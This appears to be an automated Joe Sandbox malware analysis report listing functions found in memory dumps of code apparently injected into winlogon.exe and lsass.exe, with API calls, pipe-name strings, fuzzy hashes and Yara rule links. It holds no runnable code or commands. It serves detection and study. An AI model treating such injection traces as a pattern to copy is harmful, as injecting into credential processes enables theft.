Function 00000225DC647D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC647DBC
GetCurrentThreadId.KERNEL32 ref: 00000225DC647DCA
GetCurrentProcessId.KERNEL32 ref: 00000225DC647DD6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC647DE6

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 15406291821e2fe318be73519a99bbba27e0b2cf66864646268de93d0c853935
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 4D115E2A754F109AEF00CFE4E8593A933A4F719769F440E21DB6D867A4DF78C1A8C380

Function 00000225DC672604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6726E8
StrCpyW.SHLWAPI ref: 00000225DC672701

Strings

\\.\pipe\, xrefs: 00000225DC6726F3

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: a85847b67241baf17023e07e2423d193898fd8a9f6832c40be14186a221c179b
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 1D71F63A200FA1A2E736DFBE994C3AA67A4F784B86F548426DE4947FD8DE35C505C700

Function 00000225DC642604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6426E8
StrCpyW.SHLWAPI ref: 00000225DC642701

Strings

\\.\pipe\, xrefs: 00000225DC6426F3

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: 0b476176dd215437889dc5df2a4e6f11728681cd4880218d94dbd171e8afe587
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 5071E83A20CFA1A6E766DFEE98483AE7795F385B86F648056DE0B43799DE34C504C700

Function 00000225DC61A24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000225DC61A2E7

Strings

MOC, xrefs: 00000225DC61A2AC
RCC, xrefs: 00000225DC61A2B5

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 066c3195d6b19765af3cd44653234e3342ca3be28e8e599a30405b6f21608ec7
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 57619C3B605F94DAEB20CFA9D48439D77A0F748B8AF148215EF4957B99DB38C485C700

Function 00000225DC6723F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6724DE
StrCpyW.SHLWAPI ref: 00000225DC6724F5

Strings

\\.\pipe\, xrefs: 00000225DC6724E9

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: bdc2000d3f24de824ac2d4aad0dd8e4e216f71541df1a140ad56c1d4500cd6f8
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 6751276A204FA1E2F636DFADA46C3AA67A1F384782F548825DE4903FD9DE39C445C740

Function 00000225DC6423F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6424DE
StrCpyW.SHLWAPI ref: 00000225DC6424F5

Strings

\\.\pipe\, xrefs: 00000225DC6424E9

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: eeae6fd4fd106a8d8e2af77007ce35b523d6da56c77ba8b82f46824129fdf85d
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 88514C2A20CFA1A1E62ADFEDA46C3AA7791F385782F64C065CE4B43B89DE35C444C740

Function 00000225DC622DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 00000225DC623071

Strings

dll, xrefs: 00000225DC622E95

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: a033ca639208bb76df8529d98fb46130cd952fbec87511a36938c0d524ea7bf4
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: 95617329935F68ACD5639BBD9869325E71CFFA63C6F41D317E90B76A61DB389003C200

Function 00000225DC682B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC682C37
GetLastError.KERNEL32 ref: 00000225DC682C59

Strings

U, xrefs: 00000225DC682BE3

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 0274afc85186ba73af22fb5fc867c40b456c31728ce448c832b0fb41c8519a75
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: C441E776315E9092DB61CFA9E4483AA77A0FB98B95F908021EE4D877D4EF7CC441C741

Function 00000225DC652B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC652C37
GetLastError.KERNEL32 ref: 00000225DC652C59

Strings

U, xrefs: 00000225DC652BE3

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: d57db7584a138c52917ddc7b342454cb98f343c5499785089f4aebbd3a489f1c
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: 96410776724E5092DB61CFA9E4483AE77A0F398785F508021EE4E87794DF3CC441CB40

Function 00000225DC6798D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC679920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC67850B), ref: 00000225DC679961

Strings

csm, xrefs: 00000225DC67994E

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: deee5491ab775c55da42ba5d39800ab26e82f5b6114056a9b353bb04cc1457c8
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: 7C112B36214F9492EB218F69E44435977E5FB88B95F588624EF8C07B98DF3CC552CB00

Function 00000225DC6498D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC649920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC64850B), ref: 00000225DC649961

Strings

csm, xrefs: 00000225DC64994E

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: 0d275ce854d030e756eb79a42c121c6670bcaaf5448bbb4a099848c04caaf7ae
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: 44114936219F9092EB618F69E40425977E4F788B85F588264EF8D07B58DF38C552CB00

Function 00000225DC617786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC6177AC

Strings

ctor closure', xrefs: 00000225DC617794
`vector constructor iterator', xrefs: 00000225DC6177B1

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 369ed350c5b8a5fa9f90472ddc939bdc9db8d7ed1e26dee6b27b1024de40b66b
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 12E0CD61A41F44E0DF118F65E4842D873A0DB58B69F48D1229D5C07311FB38D1E9C300

Function 00000225DC6177E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC617808

Strings

ctor closure', xrefs: 00000225DC6177F0
destructor iterator', xrefs: 00000225DC61780D

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: 0c8c670500c278d5134ffcd7486f256337451b4d70f9b3fa90c17dbf0d8393ca
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: C8E0CD61A01F44E0DF118F65D4801D87360E758B59F88D122CD5C07311FB38D1E5C300

Function 00000225DC6178EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC6178F5

Strings

rFeaturePresent, xrefs: 00000225DC6178FA
`scalar deleting destructor', xrefs: 00000225DC617911

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 8bb4a739cd02cdd81426781c51b70855e61a2b863bd89cb87c9d0e7e9bc9f89f
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 9CD09E26612E94B5EE10EB58D889389A335F39435BF908521D14D419B5DF38CA4AD740

Function 00000225DC671C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC671C6D
HeapAlloc.KERNEL32 ref: 00000225DC671C7B
GetProcessHeap.KERNEL32 ref: 00000225DC671CA0
HeapFree.KERNEL32 ref: 00000225DC671CAE

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: cb710e214392adb98e7e1bc15610568e10cb2f2f52e749ec9d6a97ed601f99dd
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: CC118429A11F50D1EB15CBEEA40C21967A1FB89FD2F998129DF8D677A6DF38D442C300

Function 00000225DC641C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641C6D
HeapAlloc.KERNEL32 ref: 00000225DC641C7B
GetProcessHeap.KERNEL32 ref: 00000225DC641CA0
HeapFree.KERNEL32 ref: 00000225DC641CAE

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 8dafebc6d1d3c9367e8271f53e9954d881f86142d414424bbccf8574e8ef8368
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: BD118429A15F5091EB54CBEEA80C11977A1F789FD2F598124DF4E63725DF38D442C300

Function 00000225DC671268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC67126E
HeapAlloc.KERNEL32 ref: 00000225DC67127D
GetProcessHeap.KERNEL32 ref: 00000225DC671297
HeapAlloc.KERNEL32 ref: 00000225DC6712A8

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 3f66ec7eff3bcd0e15884a61143856ea2199e44c5a4c1291958b41b9943c3ea9
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 45E03935601E1086E704CBEAD80C349B7E1EB88F06F84C0248A890B392DF7DC499C741

Function 00000225DC641268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64126E
HeapAlloc.KERNEL32 ref: 00000225DC64127D
GetProcessHeap.KERNEL32 ref: 00000225DC641297
HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 6fcaa93aea724b91e8d158e9725c5533d957a52198547a3e80ddf154f2a01fa4
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 2BE06D35621E1086E7548FEAD80C369B7E1FB98F06F14C024CA0907351DF7DC499CB40

Function 00000225DC671000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC671006
HeapAlloc.KERNEL32 ref: 00000225DC671015
GetProcessHeap.KERNEL32 ref: 00000225DC671028
HeapAlloc.KERNEL32 ref: 00000225DC671037

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: e2260efe5ca84f6892b78aa0f9e2a292f15a717dc4a8545187d79ec1f9b840bc
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: BEE0ED75611D5096E708DBEAD80C259B7A1FF88F16F84C024CA5907352DE388499C711

Function 00000225DC641000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641006
HeapAlloc.KERNEL32 ref: 00000225DC641015
GetProcessHeap.KERNEL32 ref: 00000225DC641028
HeapAlloc.KERNEL32 ref: 00000225DC641037

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: b8c2929ccd3e035d4def54f83262ce4d1b8ced75698f8e2f7280696942ad402a
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: D6E0E575621E6096E7689BEAD80C269B7A1FB98B16F58C024CA0907321EE388499CA10

Analysis Process: lsass.exePID: 628, Parent PID: 8008COMMON

Executed Functions

Function 00000202C0AE2604 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFileEx.NTDLL ref: 00000202C0AE267D
GetFileType.KERNEL32 ref: 00000202C0AE26E8
StrCpyW.SHLWAPI ref: 00000202C0AE2701

Strings

\\.\pipe\, xrefs: 00000202C0AE26F3

Memory Dump Source

